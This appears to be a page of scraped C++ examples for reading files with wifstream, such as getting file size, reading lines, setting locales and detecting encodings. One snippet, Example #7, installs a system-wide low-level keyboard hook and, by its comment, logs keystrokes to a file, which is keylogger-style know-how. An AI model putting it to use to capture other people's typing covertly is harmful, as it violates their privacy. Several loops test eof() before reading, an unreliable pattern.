Example #1
1
int JSONParser::sizeoffile(wifstream& jsonfile)
{
	jsonfile.seekg(0, ios::end);
	int filesize = jsonfile.tellg();
	jsonfile.seekg(0, ios::beg);

	return filesize;
}
Example #2
1
 void GetUnicodeFileLines(wifstream &File, Vector<UnicodeString> &Output)
 {
     SignalError("wifstream seems to die on ASCII EOF character");
     Output.FreeMemory();
     wstring CurLine;
     while(!File.eof())
     {
         getline<UnicodeCharacter>(File, CurLine);
         if(!File.eof())
         {
             Output.PushEnd(UnicodeString(CurLine.c_str()));
         }
     }
 }
void Text::readWordsfromFile(wifstream & file) {
    // Zeile auf dem Mac auskommentieren.
    file.imbue(locale("de_DE.UTF-8"));
    if (file.good()) {
        readWordsFromStream(file);
    }
    else {
        wcout << "Problem mit der Datei" << endl;
    }
}
Example #4
0
int loadQuestions(wifstream& file, vector<question>& storage) {
	wstring stringBuffer;
	question questionBuffer;
	unsigned int amountOfAnswers;

	while (!file.eof()) {
		getline(file, stringBuffer);
		amountOfAnswers = wcstol(stringBuffer.c_str(), NULL, 10);

		getline(file, stringBuffer);
		questionBuffer.indexOfCorrectAnswer = wcstol(stringBuffer.c_str(), NULL, 10);

		getline(file, stringBuffer);
		questionBuffer.points = wcstol(stringBuffer.c_str(), NULL, 10);

		getline(file, questionBuffer.textOfQuestion);

		for (unsigned int i = 0; i < amountOfAnswers; ++i) {
			getline(file, stringBuffer);
			questionBuffer.answers.push_back(stringBuffer);
		}

		storage.push_back(questionBuffer);
		questionBuffer.answers.clear();
	}

	return 0;
}
Example #5
0
//
// reads one line from a file
//
bool readLineFromFile( wifstream& file, wstring& line )
{
    line = L"";
    if( file.eof() )
        return( false );

    wchar_t c;
    while( true )
    {
        file.get( c );
        if( file.eof()
                || c == L'\n'
                || c == 0 ) return( true );
        line += c;
    }
    return( true );
}
Example #6
0
wstring readfile(wifstream &fin)
{
    wstring buffer, line;
    while(!fin.eof()) {
        getline(fin, line);
        buffer += line;
    }
    return buffer;
}
Example #7
0
// This function attaches a low level keyboard hook to the system and logs key strokes
// using Win32 API
void BlockKeyboardInput()
{
	if (lockState)
	{
		infile.open( "KeyBoardPhysicalLayout.txt");

		out.open("out.txt", ios_base::app);
	    hhkLowLevelKybd  = SetWindowsHookEx( WH_KEYBOARD_LL,
                                              LowLevelKeyboardProc,
                                              hInst,
                                              0 );
		
	} else {
		out.close();

		infile.close();

		UnhookWindowsHookEx(hhkLowLevelKybd);
	}
	lockState = !(lockState);
}
Example #8
0
void Utils::openFile(const string& filepath, wifstream& stream, bool verbose)
{
    unsigned char buffer[FILE_TEST_SIZE];
    const unsigned long long fileLength = getFileSize(filepath);
    const size_t bytes = fileLength < FILE_TEST_SIZE ? (size_t)fileLength : FILE_TEST_SIZE;
    ifstream fin(filepath, ifstream::binary);
    fin.read((char*)buffer, bytes);
    fin.close();

    AutoIt::TextEncodingDetect encodingDetector;
    AutoIt::TextEncodingDetect::Encoding encoding = encodingDetector.DetectEncoding(buffer, bytes);
    if (verbose) {
        dumpEncodingType(encoding);
    }
    switch (encoding) {
        // UTF-16
        case AutoIt::TextEncodingDetect::UTF16_LE_BOM:
        case AutoIt::TextEncodingDetect::UTF16_LE_NOBOM:
        case AutoIt::TextEncodingDetect::UTF16_BE_BOM:
        case AutoIt::TextEncodingDetect::UTF16_BE_NOBOM:
        #if defined(_WIN32) || defined(WIN32) // Windows
            stream.open(filepath, ios::binary);
            stream.imbue(locale(fin.getloc(), new codecvt_utf16<wchar_t, 0x10ffff, consume_header>));
            break;
        #else
            throw runtime_error("Converting UTF-16 encoded files is not supported on your platform.");
        #endif

        case AutoIt::TextEncodingDetect::UTF8_BOM:
        case AutoIt::TextEncodingDetect::UTF8_NOBOM:
            stream.open(filepath);
            stream.imbue(locale(fin.getloc(), new codecvt_utf8<wchar_t, 0x10ffff, consume_header>));
            break;

            // ASCII, ANSI, none
        default:
            stream.open(filepath);
            stream.imbue(locale(fin.getloc(), new codecvt<wchar_t, char, mbstate_t>));
            break;
    }
}